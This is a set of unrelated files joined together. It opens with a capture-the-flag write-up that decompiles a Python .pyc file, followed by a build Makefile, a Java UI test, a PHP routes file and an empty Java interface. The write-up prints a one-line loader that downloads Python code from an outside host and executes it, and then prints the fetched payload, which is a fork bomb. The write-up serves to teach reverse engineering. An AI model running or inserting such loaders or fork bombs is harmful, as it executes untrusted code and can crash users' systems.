Also, we learn about all the possible outputs:
```sh
 Extensions of generated files:
  '.pyc_dis' '.pyo_dis'   successfully decompiled (and verified if --verify)
  '.py'                   with --py option
    + '_unverified'       successfully decompile but --verify failed
    + '_failed'           uncompyle failed (contact author for enhancement)
```

All right, no more diverging. Let's play! We run the ```uncompyle2``` command and obtain the following:
```sh
$ uncompyle2 utils.pyc
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
```

___
## Parsing the Result and Voilà

So all that this file does is in this line:
```python
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
```

To understand this code,, we need to know that Python's [exec] method performs dynamic execution of code.  In this problem, *exec* starts importing [urllib2], which is a library for opening URLs.  It has the method [urlopen()] to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, [read()] would read this returned file.

So all that this script does is to try running a Python file that is hosted online!
Well, let's see what this file does! Let's just *curl* [http://kchung.co/lol.py]:

```sh
$  curl http://kchung.co/lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}
```

Yaaay! The flag is **trust_is_risky**! Easy!

**Hack all the things!**

[uncompyle2]: https://github.com/gstarnberger/uncompyle
[http://kchung.co/lol.py]: http://kchung.co/lol.py
[exec]: https://docs.python.org/2/reference/simple_stmts.html#exec
[urllib2]: https://docs.python.org/2/library/urllib2.html#module-urllib2
[urlopen()]: https://docs.python.org/2/library/urllib2.html#urllib2.urlopen
[read()]: http://www.tutorialspoint.com/python/file_read.htm


text:
include $(TOPDIR)/rules.mk

PKG_NAME:=pycrypto
PKG_VERSION:=2.6.1
PKG_RELEASE:=1

PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=http://ftp.dlitz.net/pub/dlitz/crypto/pycrypto/
PKG_MD5SUM:=55a61a054aa66812daf5161a0d5d7eda

include $(INCLUDE_DIR)/package.mk
$(call include_mk, python-package.mk)

define Package/python-crypto
	SECTION:=lang-python
	CATEGORY:=Languages
	SUBMENU:=Python
	TITLE:=python-crypto
	URL:=http://www.pycrypto.org/
	DEPENDS:=+python +libgmp
endef

define Package/python-crypto/description
A collection of both secure hash functions (such as MD5 and SHA),
and various encryption algorithms (AES, DES, IDEA, RSA, ElGamal, etc.).
endef

define Build/Compile
	$(call Build/Compile/PyMod,,install --prefix=/usr --root=$(PKG_INSTALL_DIR))
endef

define Package/python-crypto/install
	$(INSTALL_DIR) $(1)$(PYTHON_PKG_DIR)/
	$(CP) \
		$(PKG_INSTALL_DIR)$(PYTHON_PKG_DIR)/* \
		$(1)$(PYTHON_PKG_DIR)/
endef

$(eval $(call BuildPackage,python-crypto))


text:
package com.android.tools.idea.wizard;

import com.google.common.base.Functions;
import com.intellij.ui.components.JBList;
import junit.framework.TestCase;

import javax.swing.*;
import javax.swing.border.Border;
import java.awt.*;

public final class ASGalleryTest extends TestCase {
  public static final Dimension THUMBNAIL_SIZE = new Dimension(128, 128);
  public static final int COLUMNS = 5;
  // Makes coordinates computation by gallery more complex
  public static final Border BORDER = BorderFactory.createEmptyBorder(COLUMNS, 10, 20, 40);
  private ASGallery<ModelObject> gallery;

  private static Dimension adjustByInsetsValue(int width, int height, Insets cellMargin) {
    int expectedWidth = width + cellMargin.left + cellMargin.right;
    int expectedHeight = height + cellMargin.top + cellMargin.bottom;
    return new Dimension(expectedWidth, expectedHeight);
  }

  private static Dimension adjustByInsetsValue(Dimension dimension, Insets borderInsets) {
    return adjustByInsetsValue(dimension.width, dimension.height, borderInsets);
  }

  private static int computeCellWidth(ASGallery<ModelObject> gallery) {
    return getColumnOffset(gallery, 1) - getColumnOffset(gallery, 0);
  }

  private static int getColumnOffset(ASGallery<ModelObject> gallery, int column) {
    Insets borderInsets = BORDER.getBorderInsets(gallery);
    int clientWidth = gallery.getWidth() - borderInsets.left - borderInsets.right;
    return gallery.getColumnOffset(column, gallery.getColumnCount(), clientWidth);
  }

  private static void assertColumnWidthForGallerySize(ASGallery<ModelObject> gallery, int galleryWidth, int expectedCellSize) {
    Insets borderInsets = BORDER.getBorderInsets(gallery);
    Dimension cellSize = gallery.computeCellSize();
    gallery.setSize(adjustByInsetsValue(galleryWidth, cellSize.height, borderInsets));
    assertEquals(expectedCellSize, computeCellWidth(gallery));
  }

  private static void assertColumnCountForWidth(ASGallery<ModelObject> gallery, int columns, int width) {
    gallery.setSize(adjustByInsetsValue(width, gallery.computeCellSize().height, BORDER.getBorderInsets(gallery)));
    assertEquals(columns, gallery.getColumnCount());
  }

  @Override
  protected void setUp() throws Exception {
    super.setUp();
    ModelObject[] objects = new ModelObject[COLUMNS];
    for (int i = 0; i < COLUMNS; i++) {
      objects[i] = new ModelObject(i + 1);
    }
    ASGallery<ModelObject> asGallery =
      new ASGallery<ModelObject>(JBList.createDefaultListModel(objects), Functions.<Image>constant(null), Functions.toStringFunction(),
                                 THUMBNAIL_SIZE);
    asGallery.setBorder(BORDER);
    gallery = asGallery;
  }

  public void testColumnSize() {
    Dimension cellSize = gallery.computeCellSize();
    // 1. 5 elements, 2 columns - span the whole width
    assertColumnWidthForGallerySize(gallery, cellSize.width * (COLUMNS + 1) / COLUMNS, cellSize.width * (COLUMNS + 1) / (COLUMNS));
    // 2. 5 elements, 8 columns (less than 2x elements) - span
    assertColumnWidthForGallerySize(gallery, cellSize.width * (COLUMNS + 3), cellSize.width * (COLUMNS + 3) / COLUMNS);
    // 2. 5. elements, 12 columns (more than 2x elements) - collapse
    assertColumnWidthForGallerySize(gallery, cellSize.width * (COLUMNS * 2 + 2), cellSize.width);
  }

  public void testCellAtForOneColumnFiveRows() {
    Dimension cellSize = gallery.computeCellSize();
    Insets borderInsets = BORDER.getBorderInsets(gallery);

    gallery.setSize(adjustByInsetsValue(cellSize, borderInsets));
    Dimension preferredSize = gallery.getPreferredSize();
    gallery.setSize(preferredSize); // Multiple rows
    // Corner cases. Literally. Note that cell height does not change with gallery height - so far there was no such requirement.
    assertEquals(0, gallery.getCellAt(new Point(borderInsets.left + 1, borderInsets.top + 1)));
    assertEquals(4, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right - 1, borderInsets.top + cellSize.height * 5 - 1)));
    assertEquals(-1, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right - 1, borderInsets.top + cellSize.height * 5)));
    assertEquals(-1, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right, borderInsets.top + cellSize.height * 5 - 1)));
  }

  public void testCellAtFor3Columns2Rows() {
    Dimension cellSize = gallery.computeCellSize();
    Insets borderInsets = BORDER.getBorderInsets(gallery);
    Dimension preferredSize = setGalleryWidth(cellSize.width * 10 / 3);

    assertEquals(0, gallery.getCellAt(new Point(borderInsets.left + 1, borderInsets.top + 1)));
    assertEquals(2, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right - 1, borderInsets.top + cellSize.height - 1)));
    assertEquals(3, gallery.getCellAt(new Point(borderInsets.left + 1, borderInsets.top + cellSize.height)));
    int clientWidth = preferredSize.width - borderInsets.left - borderInsets.right;
    assertEquals(4, gallery.getCellAt(new Point(gallery.getColumnOffset(2, gallery.getColumnCount(), clientWidth) + borderInsets.left - 1,
                                                borderInsets.top + cellSize.height + 1)));
    assertEquals(4, gallery.getCellAt(new Point(gallery.getColumnOffset(2, gallery.getColumnCount(), clientWidth) + borderInsets.left - 1,
                                                borderInsets.top + (cellSize.height * 2) - 1)));
    assertEquals(-1, gallery.getCellAt(new Point(gallery.getColumnOffset(2, gallery.getColumnCount(), clientWidth) + borderInsets.left,
                                                borderInsets.top + (cellSize.height * 2) - 1)));
  }

  public void testCellAtOneRowSpanning() {
    Dimension cellSize = gallery.computeCellSize();
    Insets borderInsets = BORDER.getBorderInsets(gallery);
    Dimension preferredSize = setGalleryWidth(cellSize.width * (COLUMNS + 3));

    assertEquals(0, gallery.getCellAt(new Point(borderInsets.left + 1, borderInsets.top + 1)));
    assertEquals(4, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right - 1, borderInsets.top + cellSize.height - 1)));
    assertEquals(-1, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right, borderInsets.top + cellSize.height - 1)));
  }

  public void testCellAtOneRowNonSpanning() {
    Dimension cellSize = gallery.computeCellSize();
    Insets borderInsets = BORDER.getBorderInsets(gallery);
    Dimension preferredSize = setGalleryWidth(cellSize.width * (COLUMNS * 2 + 3));

    assertEquals(0, gallery.getCellAt(new Point(borderInsets.left + 1, borderInsets.top + 1)));
    assertEquals(-1, gallery.getCellAt(new Point(preferredSize.width - borderInsets.right - 1, borderInsets.top + cellSize.height - 1)));
    assertEquals(4, gallery.getCellAt(new Point(borderInsets.left + cellSize.width * 5 - 1, borderInsets.top + cellSize.height - 1)));
    assertEquals(-1, gallery.getCellAt(new Point(borderInsets.left + cellSize.width * 5, borderInsets.top + cellSize.height - 1)));
  }

  public void testComputeCellSize() {
    Insets cellMargin = gallery.getCellMargin();
    int fontSize = gallery.getFont().getSize();
    Dimension expected = adjustByInsetsValue(THUMBNAIL_SIZE.width, THUMBNAIL_SIZE.height + (fontSize * 2), cellMargin);
    Dimension actualCellSize = gallery.computeCellSize();
    assertEquals(expected, actualCellSize);
  }

  public void testComputeCellSizeWithCustomMargins() {
    Insets cellMargin = new Insets(10, 20, 30, 40);
    gallery.setCellMargin(cellMargin);
    int fontSize = gallery.getFont().getSize();
    Dimension expected = adjustByInsetsValue(THUMBNAIL_SIZE.width, THUMBNAIL_SIZE.height + (fontSize * 2), cellMargin);
    Dimension actualCellSize = gallery.computeCellSize();
    assertEquals(expected, actualCellSize);
  }

  public void testGetColumnCount() {
    Dimension actualCellSize = gallery.computeCellSize();
    // Less than 2x elements - expand to fill the whole width
    assertColumnCountForWidth(gallery, COLUMNS, actualCellSize.width * COLUMNS * 3 / 2);
    // 2x - collapse
    assertColumnCountForWidth(gallery, COLUMNS * 2, actualCellSize.width * COLUMNS * 2);
    // More than 2x - collapse still
    assertColumnCountForWidth(gallery, COLUMNS * 3, actualCellSize.width * COLUMNS * 3);
  }

  public void testPreferredSize() {
    Dimension dimension = gallery.computeCellSize();
    Insets borderInsets = BORDER.getBorderInsets(gallery);

    // Default width - only suggests a single cell size
    assertEquals(adjustByInsetsValue(dimension, borderInsets), gallery.getPreferredSize());

    // Width greater than 2 cells - width as specified, height to show enough rows
    int twoAndAHalfColumns = dimension.width * COLUMNS / 2;
    gallery.setSize(new Dimension(twoAndAHalfColumns, 10));
    Dimension expectedSize = new Dimension(twoAndAHalfColumns, dimension.height * 3 + borderInsets.top + borderInsets.bottom);
    assertEquals(expectedSize, gallery.getPreferredSize());
    assertEquals(expectedSize, gallery.getPreferredScrollableViewportSize());
  }

  private Dimension setGalleryWidth(int width) {
    gallery.setSize(adjustByInsetsValue(width, gallery.computeCellSize().height, BORDER.getBorderInsets(gallery)));
    Dimension preferredSize = gallery.getPreferredSize();
    gallery.setSize(preferredSize);
    return preferredSize;
  }

  private static final class ModelObject {
    public final int myNumber;

    public ModelObject(int number) {
      myNumber = number;
    }

    @Override
    public String toString() {
      return String.valueOf(myNumber);
    }
  }
}


text:
<?php
/**
 * Note: Router::setExtensions() is available since CakePHP 2.2
 * If you use 2.1 dont load this routes file, and add xls and xlsx to your parseExtensions() in app/Config/routes.php
 */
Router::parseExtensions();
Router::setExtensions(array('xls', 'xlsx'));


text:
package victor.training.ejb.container.security;

import javax.ejb.Local;

@Local
public interface MySecuredService {

}